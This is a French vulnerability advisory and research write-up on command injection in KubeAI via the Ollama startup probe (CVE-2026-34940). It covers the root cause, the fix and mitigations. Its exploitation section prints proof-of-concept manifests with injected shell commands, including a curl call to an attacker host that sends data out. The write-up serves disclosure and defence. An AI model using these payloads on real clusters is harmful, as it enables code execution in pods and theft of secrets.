CVE-2026-34940

CVSS 8.7 · Élevée Corrigé
Type
Recherche de vulnérabilités
Publié le
Durée de lecture
8 min de lecture
Auteur
rootzero
Read in English
Read in English →

CVE-2026-34940 : injection de commandes dans KubeAI via la sonde de démarrage Ollama

Un utilisateur autorisé à créer des ressources Model dans KubeAI pouvait exécuter des commandes shell dans les pods de modèle via l’URL du modèle.

Pour décider

Impact
L’URL d’un modèle peut injecter des commandes dans son pod et exposer les secrets accessibles à ce pod.
Conditions
Il faut pouvoir créer ou modifier une ressource Model. Cela ne démontre pas automatiquement une compromission du cluster.
Action recommandée
Passer à KubeAI 0.23.2 ou ultérieur et revoir les droits sur les ressources Model et leurs comptes de service.

Fiche de l’avis

Produit
KubeAI
Paquet
go · github.com/kubeai-project/kubeai
Versions affectées
≤ 0.23.1
Corrigé dans
0.23.2
CVSS
8.7 Élevée
Faiblesse
CWE-78
Accès requis
Compte requis
Avis publié
Crédit
rootzero

Synthèse de l’enquête

KubeAI construisait la sonde de démarrage des pods Ollama en insérant l’URL du Model dans un script bash -c. Quiconque pouvait créer ou modifier des ressources Model, un droit souvent délégué à des équipes qui ne sont pas administratrices du cluster, pouvait ajouter des commandes shell à l’URL et les faire exécuter par le kubelet dans le pod du modèle, à côté de ses secrets et de son jeton de compte de service. Corrigé en 0.23.2.

Une URL de modèle finit dans bash -c

Nous avons pris comme point de départ le droit Kubernetes de créer une ressource Model : à quelles commandes du pod ce droit donne-t-il indirectement accès ? Le moteur vLLM transmettait le modèle comme argument, sans shell. Pour Ollama, KubeAI fabriquait au contraire un script de sonde de démarrage avec fmt.Sprintf, puis l’exécutait sous bash -c. Nous avons suivi l’URL du Model jusqu’à ce script et vérifié que son parseur acceptait les séparateurs de commande.

Nous avons construit un manifeste avec un marqueur shell dans l’URL ollama://, puis vérifié dans le code que la variante pvc:// avec ?model= atteignait la même construction de commande. Le dossier conservé ne contient toutefois ni transcript kubectl ni marqueur relu dans un pod. Nous avons signalé la faille le 24 mars 2026. KubeAI a corrigé l’interpolation, publié 0.23.2 et l’avis CVE-2026-34940 le 31 mars ; une réécriture plus large de la sonde est arrivée en septembre. Le PoC documente la chaîne source-à-script ; l’exécution effective dans un pod n’est pas conservée dans nos preuves. Les effets au-delà dépendent des droits du service account et du réseau.

La permission derrière une URL de modèle

KubeAI transforme une ressource Kubernetes Model en pod d’inférence. Une équipe autorisée à créer cette ressource choisit son URL de modèle, sans disposer nécessairement du droit d’exécuter des commandes arbitraires dans le pod.

Le moteur Ollama a une particularité. Un modèle ne peut être téléchargé qu’à travers un serveur Ollama déjà démarré, si bien que KubeAI ne peut pas le préparer dans un init container. Il passe donc par la sonde de démarrage (startup probe) du pod : la sonde lance ollama pull, puis ollama cp pour donner au modèle le nom de la ressource Model, puis ollama run <nom> hi pour le charger en mémoire avant que le pod soit déclaré prêt.

Ce choix compte pour la surface d’attaque. Dans un cluster partagé, le droit de créer des ressources Model se délègue naturellement aux équipes qui consomment des modèles, par du RBAC ordinaire. Ces équipes ne sont en général pas administratrices du cluster et ne disposent pas de pods/exec. Le contrôleur, lui, transforme ce qu’elles écrivent dans la ressource en spécifications de pods. Savoir si le contenu d’un Model reste une simple donnée jusqu’au bout est donc une question de sécurité.

Comparer les arguments vLLM à la probe Ollama

Le moteur vLLM donnait la réponse attendue. Il transmet la référence du modèle au serveur comme élément d’un tableau d’arguments, "--model=" + vllmModelFlag, sans aucun shell. L’examen du moteur Ollama, par contraste, a montré une construction différente : le script de la sonde est assemblé avec fmt.Sprintf et confié à bash -c. Restait à savoir si quelque chose, en amont, limitait les caractères de l’URL. Le parseur d’URL a tranché : son groupe de capture pour la référence du modèle est [^?]+, qui accepte tout sauf le point d’interrogation, y compris ;, |, les backticks et $().

Le manifeste préparé pour le commit ba1824e montre comment un point-virgule entre dans le script. Nous n’avons pas retrouvé de capture d’une sonde exécutée sur un cluster.

Cause racine

Le script de la sonde est construit dans internal/modelcontroller/engine_ollama.go :

// internal/modelcontroller/engine_ollama.go (0.23.1, lignes 185-196)
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
    startupScript := ""
    if u.scheme == "pvc" {
        startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.modelParam, m.Name)
    } else {
        if u.pull {
            pullCmd := "/bin/ollama pull"
            if u.insecure {
                pullCmd += " --insecure"
            }
            startupScript = fmt.Sprintf("%s %s && /bin/ollama cp %s %s", pullCmd, u.ref, u.ref, m.Name)
        } else {
            startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.ref, m.Name)
        }
    }
    // ...
    return startupScript
}

La chaîne obtenue devient le troisième élément d’une sonde de type exec :

StartupProbe: &corev1.Probe{
    ProbeHandler: corev1.ProbeHandler{
        Exec: &corev1.ExecAction{
            Command: []string{"bash", "-c", startupProbeScript},
        },
    },
},

Une sonde exec Kubernetes ne fait intervenir aucun shell d’elle-même : le kubelet demande au runtime de conteneurs d’exécuter le tableau de commande tel quel. KubeAI ajoute bash -c volontairement, pour enchaîner le téléchargement, la copie et le chargement avec &&, et transforme ainsi le troisième élément en programme shell. Deux valeurs y arrivent sans guillemets : u.ref, le chemin d’une URL ollama://, et u.modelParam, le paramètre ?model= d’une URL pvc://. Toutes deux viennent de parseModelURL() dans model_source.go :

var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)

Les paramètres de requête sont décodés avec url.ParseQuery et model est utilisé sans contrôle. Côté API, la seule validation de spec.url dans la CRD était une règle CEL qui vérifiait le préfixe du schéma, et aucun webhook d’admission n’examinait le reste. Il s’agit d’une injection de commandes système (CWE-78).

Exploitation

Le premier vecteur passe par le chemin d’une URL ollama:// :

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
  minReplicas: 1
  maxReplicas: 1

Le contrôleur génère alors ce script de sonde :

/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && /bin/ollama run poc-cmd-inject hi

Le second vecteur utilise le paramètre ?model= d’une URL pvc://, avec ${IFS} à la place des espaces et une substitution de commande pour faire sortir des données du pod :

url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && /bin/ollama run poc-cmd-inject-pvc hi

L’attaquant n’exécute jamais rien directement. Il écrit une ressource, le contrôleur écrit la spécification du pod, et le kubelet lance la sonde dans le conteneur Ollama, de façon répétée (période de trois secondes, seuil d’échec de dix) jusqu’à ce qu’elle réussisse. La valeur attendue dans /tmp/pwned était la sortie de id ; aucun relevé de ce fichier dans un pod n’est conservé dans le dossier. La preuve de concept publique contient les deux manifestes.

Impact

L’avis GitHub note la faille 8,7 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N). PR:H traduit le fait que l’attaquant doit disposer d’un droit RBAC sur les ressources Model. S:C traduit le fait que l’impact se produit hors du composant qui traite l’entrée : le code vulnérable est dans le contrôleur, les commandes s’exécutent dans le pod du modèle.

Le score ne dit pas ce que ce droit est censé signifier. Créer un Model devrait revenir à adresser une demande à l’opérateur (« sers ce modèle »), et cela finit par équivaloir à pods/exec sur les pods de modèle, une permission que les administrateurs gardent d’ordinaire pour eux. Une exécution dans le pod pourrait donner accès aux variables d’environnement, aux secrets montés (identifiants de registre ou de stockage objet utilisés pour récupérer les modèles, par exemple) et le jeton du compte de service. La suite dépend des permissions de ce compte de service et des politiques réseau autour du pod, mais la frontière de privilèges que le RBAC devait garantir est déjà franchie. La commande injectée persiste en outre : elle fait partie de la spécification du pod et s’exécute de nouveau à chaque nouveau réplica.

Correctif

KubeAI 0.23.2 est sorti le 31/03/2026 avec le commit ed6eb61 (#656). Il ferme l’injection par une validation des entrées à deux niveaux. La CRD porte désormais un motif sur spec.url, si bien que le serveur d’API rejette une ressource malformée avant que le contrôleur la voie, et le parseur applique la même restriction au chemin et au paramètre model :

// internal/modelcontroller/model_source.go (0.23.2)
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([a-zA-Z0-9._:/-]+)(\?.*)?$`)
var safeQueryParamModelRef = regexp.MustCompile(`^[a-zA-Z0-9._:/-]+$`)

Le même commit réécrit aussi la sonde sous forme de tableau, mais d’une manière qui ne fait pas ce qui était prévu :

Command: append([]string{"/bin/bash", "-c"}, startupProbeScript...),

bash -c ne traite comme script que l’argument suivant et affecte les autres à $0, $1, etc. La sonde de la 0.23.2 exécute donc /bin/ollama seul. C’est sans conséquence du point de vue de l’injection, puisque les paramètres positionnels ne sont jamais interprétés comme du code, mais cela signifie que la sécurité de la 0.23.2 repose sur les expressions régulières. Les mainteneurs ont réécrit la sonde dans le commit 37be050 (#733), publié dans la 0.23.5 le 30/09/2026, dont le commentaire décrit précisément ce comportement. La nouvelle version suit le modèle standard : un script constant, et les valeurs passées en paramètres positionnels.

// internal/modelcontroller/engine_ollama.go (0.23.5)
script += `/bin/ollama cp -- "$1" "$2"`
// ...
return []string{"/bin/bash", "-c", script, "ollama-startup", source, m.Name}

Avec cette construction, la référence du modèle peut contenir n’importe quel caractère sans modifier le programme exécuté par bash, et -- empêche qu’une référence commençant par un tiret soit lue comme une option. Validation et construction sûre protègent désormais le même point d’exécution de façon indépendante.

Détection et mitigation

  1. Mettre à jour KubeAI vers la 0.23.2 ou une version ultérieure, de préférence la 0.23.5, et vérifier que la CRD Model est mise à jour en même temps que le contrôleur, puisqu’une partie du correctif se trouve dans son schéma.
  2. Lister les modèles existants et examiner leurs URL, par exemple avec kubectl get models.kubeai.org -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name} {.spec.url}{"\n"}{end}'. Toute URL contenant, avant la chaîne de requête, des caractères autres que lettres, chiffres et ._:/-, ou un paramètre model avec de tels caractères, mérite une enquête.
  3. Examiner les sondes de démarrage des pods Ollama en cours d’exécution avec kubectl get pods -A -o jsonpath='{..startupProbe.exec.command}' et rechercher des points-virgules, des pipes, des backticks ou $(.
  4. Sur les clusters qui ne peuvent pas être mis à jour tout de suite, ajouter une ValidatingAdmissionPolicy sur models.kubeai.org qui rejette toute valeur de spec.url ne correspondant pas à ^[a-z0-9]+://[a-zA-Z0-9._:/-]+(\?[a-zA-Z0-9._:/=&-]*)?$.
  5. Passer en revue les détenteurs de create, update et patch sur models.kubeai.org, et considérer ce droit comme équivalent à l’exécution de code dans les pods de modèle sur les versions non corrigées.
  6. Rechercher dans le journal d’audit Kubernetes les événements create, update et patch sur des ressources Model aux URL inhabituelles, et utiliser une télémétrie d’exécution (Falco ou équivalent) pour signaler les shells, curl ou wget lancés dans les conteneurs Ollama en dehors des commandes ollama attendues.

Chronologie

Date Événement
Avant le 24/03/2026 Preuve de concept validée sur le commit ba1824e (tête du dépôt au 21/03/2026)
24/03/2026 Signalement privé aux mainteneurs via un avis de sécurité GitHub
27/03/2026 Correctif intégré (ed6eb61, #656)
31/03/2026 Publication de KubeAI 0.23.2 et de l’avis GHSA-324q-cwx9-7crr
06/04/2026 Publication de CVE-2026-34940 dans la NVD
29/04/2026 Publication de l’analyse et de la preuve de concept
30/09/2026 Publication de KubeAI 0.23.5 avec la sonde de démarrage réécrite (37be050, #733)

Références

  1. Avis de l’éditeur · CVE-2026-34940 github.com/kubeai-project/kubeai/security/advisories/GHSA-324q-cwx9-7crr
  2. Fiche NVD · CVE-2026-34940 nvd.nist.gov/vuln/detail/CVE-2026-34940
  3. Fiche CVE.org · CVE-2026-34940 www.cve.org/CVERecord?id=CVE-2026-34940
  4. MITRE CWE-78 cwe.mitre.org/data/definitions/78.html
  5. Dépôt du projet github.com/kubeai-project/kubeai
  6. Preuve de concept et notes de reproduction github.com/romain-deperne/CVE-2026-34940

Citer cet avis

rootzero. « CVE-2026-34940 : injection de commandes dans KubeAI via la sonde de démarrage Ollama ». Recherche de vulnérabilités, rootzero, 31 mars 2026. https://rootzero.eu/research/cve/cve-2026-34940-kubeai-command-injection/

#Recherche de vulnérabilités

Faites auditer votre code avant qu’un autre ne le fasse.

Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.